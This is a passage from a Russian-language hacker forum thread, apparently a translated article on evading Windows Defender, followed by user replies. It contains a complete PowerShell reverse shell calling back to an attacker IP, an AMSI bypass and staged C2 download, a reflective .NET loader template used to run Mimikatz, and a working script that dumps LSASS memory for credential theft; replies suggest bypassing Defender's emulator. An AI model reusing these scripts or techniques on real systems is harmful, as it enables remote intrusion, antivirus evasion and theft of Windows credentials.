        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()   
            $client = $listener.AcceptTcpClient()
        }

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target."
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush() 
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80

Здесь следует отметить несколько моментов. Во-первых, ref.txt - это простой обход AMSI в PowerShell, который позволит нам исправить сканирование In-Memory AMSI для текущего процесса PowerShell. Более того, в данном случае не имеет значения расширение сценариев PowerShell, поскольку их содержимое будет просто загружено как текст и вызвано с помощью Invoke-Expression (псевдоним для IEX).

Затем мы можем выполнить полный PoC следующим образом:

Выполнение этапа 0 в нашей жертве
8_1.png


Жертва загружает этапы с нашего C2
8_2.png


Получение реверс-шелла на нашем сервере атакующего
8_3.png




9. Отражающая (рефлексивная) загрузка

Возможно, вы помните из первого раздела, что мы выполнили Mimikatz после исправления AMSI в памяти в качестве демонстрации того, что Defender перестал сканировать память нашего процесса. Это произошло потому, что .NET предоставляет API System.Reflection.Assembly, который мы можем использовать для рефлексивной загрузки и выполнения сборки .NET (определяется как "Представляет собой сборку, которая является многократно используемым, версионируемым и самоописывающимся строительным блоком приложения для выполнения на общем языке.") в памяти.

Это, конечно, очень полезно для наступательных целей, поскольку PowerShell использует .NET, и мы можем использовать его в сценарии для загрузки всего двоичного файла в память, чтобы обойти статический анализ, в котором Windows Defender блистает.

Общая структура сценария выглядит следующим образом:

Шаблон рефлексивной загрузки
Код:
function Invoke-YourTool
{
    $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
    $output = New-Object System.IO.MemoryStream
    $decompressed.CopyTo( $output )
    [byte[]] $byteOutArray = $output.ToArray()
    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)

    $OldConsoleOut = [Console]::Out
    $StringWriter = New-Object IO.StringWriter
    [Console]::SetOut($StringWriter)

    [ClassName.Program]::main([string[]]$args)

    [Console]::SetOut($OldConsoleOut)
    $Results = $StringWriter.ToString()
    $Results
 
}

Где Gzip просто используется для попытки скрыть реальный двоичный файл, поэтому иногда он может работать без дополнительных методов обхода, но самой важной строкой является вызов функции Load из System.Reflection.Assembly .NET Class для загрузки двоичного файла в память. После этого мы можем просто вызвать его главную функцию с помощью "[ClassName.Program]::main([string[]]$args)".

Таким образом, мы можем выполнить следующую kill-цепочку для выполнения любого двоичного файла:
  • Патч AMSI/ETW
  • Рефлексивная загрузка и выполнение сборки

К счастью, этот репозиторий содержит не только множество готовых скриптов для каждого известного инструмента, но и инструкции по созданию собственных скриптов из ваших двоичных файлов.

Для этого PoC я буду выполнять Mimikatz, но не стесняйтесь использовать любой другой.

Рефлексивная загрузка Mimikatz
9_1.png


Обратите внимание, что, как было указано ранее, обход AMSI может не потребоваться для некоторых двоичных файлов в зависимости от строкового представления двоичных файлов, которое вы применяете в скрипте. Но поскольку Invoke-Mimikatz широко известен, в данном примере мне пришлось это сделать.


10. Сборки P/Invoke C#

P/Invoke, или Platform Invoke, позволяет нам получать доступ к структурам, обратным вызовам и функциям из неуправляемых нативных DLL Windows, чтобы получить доступ к API более низкого уровня в нативных компонентах, которые могут быть недоступны непосредственно из .NET.

Теперь, поскольку мы знаем, что он делает, и знаем, что можем использовать .NET в PowerShell, это означает, что мы можем получить доступ к низкоуровневым API из сценария PowerShell, который мы можем запустить без того, чтобы Defender следил за нами, если мы установили патч AMSI раньше.

В качестве примера, допустим, мы хотим сделать дамп процесса LSASS в файл через MiniDumpWriteDump, доступный в "Dbghelp.dll". Для этого мы могли бы использовать инструмент nanodump от fortra. Однако он полон сигнатур, которые Microsoft сгенерировала для этого инструмента. Вместо этого мы можем использовать P/Invoke для программирования сценария PowerShell, который будет делать то же самое, но при этом мы можем внести изменения в AMSI, чтобы сделать его необнаруживаемым.

Поэтому я буду использовать следующий код PS для PoC.

MiniDumpWriteDump.ps
Код:
Add-Type @"
    using System;
    using System.Runtime.InteropServices;

    public class MiniDump {
        [DllImport("Dbghelp.dll", SetLastError=true)]
        public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
    }
"@

$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002

Add-Type -TypeDefinition @"
    using System;
    using System.Runtime.InteropServices;

    public class Kernel32 {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr hObject);
    }
"@

$processId ="788"

$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)

if ($processHandle -ne [IntPtr]::Zero) {
    $dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
    $fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()

    $result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

    if ($result) {
        Write-Host "Sucess"
    } else {
        Write-Host "Failed" -ForegroundColor Red
    }

    $dumpFile.Close()
    [Kernel32]::CloseHandle($processHandle)
} else {
    Write-Host "Failed to open process handle." -ForegroundColor Red
}

В этом примере мы сначала импортируем функцию MiniDumpWriteDump из Dbghelp.dll через Add-Type, затем импортируем OpenProcess и CloseHandle из kernel32.dll. Затем, наконец, получаем хэндл процесса LSASS и используем MiniDumpWriteDump для выполнения полного дампа памяти процесса и записи его в файл.

Таким образом, полный PoC будет выглядеть следующим образом:

Выполнение дампа LSASS

10_1.png


Загрузка дампа с помощью impacket-smbclient
10_2.png


Парсинг файла MiniDump локально с помощью pypykatz
foto_no_exif.png


Обратите внимание, что в итоге я использовал немного измененный сценарий, который шифрует дамп в base64 перед записью в файл, поскольку Defender определял файл как LSASS дамп и удалял его.


Выводы

Всем этим я не пытаюсь разоблачить Defender или сказать, что это плохое антивирусное решение. На самом деле, он, вероятно, один из лучших на рынке, и большинство методов, описанных здесь, можно использовать с большинством производителей. Но поскольку именно его я использовал для этой статьи, я не могу говорить о других.

В конечном итоге, вы никогда не должны полагаться на AV или EDR в качестве первой линии защиты от угроз, а должны укреплять инфраструктуру, чтобы даже если решения для конечных точек будут обойдены, вы могли минимизировать потенциальный ущерб. Например, система строгих разрешений, GPO, правила ASR, контролируемый доступ, упрочнение процессов, CLM, AppLocker и т.д.
 

Вложения

  • 6_1.png
    6_1.png
    14.3 КБ · Просмотры: 24
  • 6_2.png
    6_2.png
    124.1 КБ · Просмотры: 18
  • 8_2.png
    8_2.png
    5.5 КБ · Просмотры: 17
  • 8_2.png
    8_2.png
    5.5 КБ · Просмотры: 17
  • 8_3.png
    8_3.png
    11.4 КБ · Просмотры: 15
  • 10_2.png
    10_2.png
    11.8 КБ · Просмотры: 14
  • 10_3.png
    10_3.png
    20.4 КБ · Просмотры: 34
В частности, исправление AMSI для текущего процесса позволит нам выполнять любые вредоносные программы
Но большая часть вредоносных программ и инструментов написана на C# и, иногда, Java
детект вылетит на уважающем себя EDR сразу как только амси патчить полезет, ну и второе утверждение такое себе ))
в целом, еще одна компиляция старых техник, полезно но не сильно ) причем, в оригинале есть такое - "latest release was in March, 2023"
тоесть статья то новая получается, а техники уг
 
Не стоит забывать о целенаправленном обходе средств Windows Defender, например, эмулятор.
Большую часть функционала как раз занимает эмулятор, поэтому, советую, обходить именно его.
В интернете гуляет отчет 2018 года от BlackHat, но он довольно устарел (JohnDoe и HAL9TH).

Обход эмулятора позволяет закрыть сразу две важные проблемы:
- Сбой больше половины функционала WD
- Обход детекта самого payload (исходного содержимого).

Лучше самим покопаться в исходниках Windows Defender и выделить собственную сигнатуру =)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх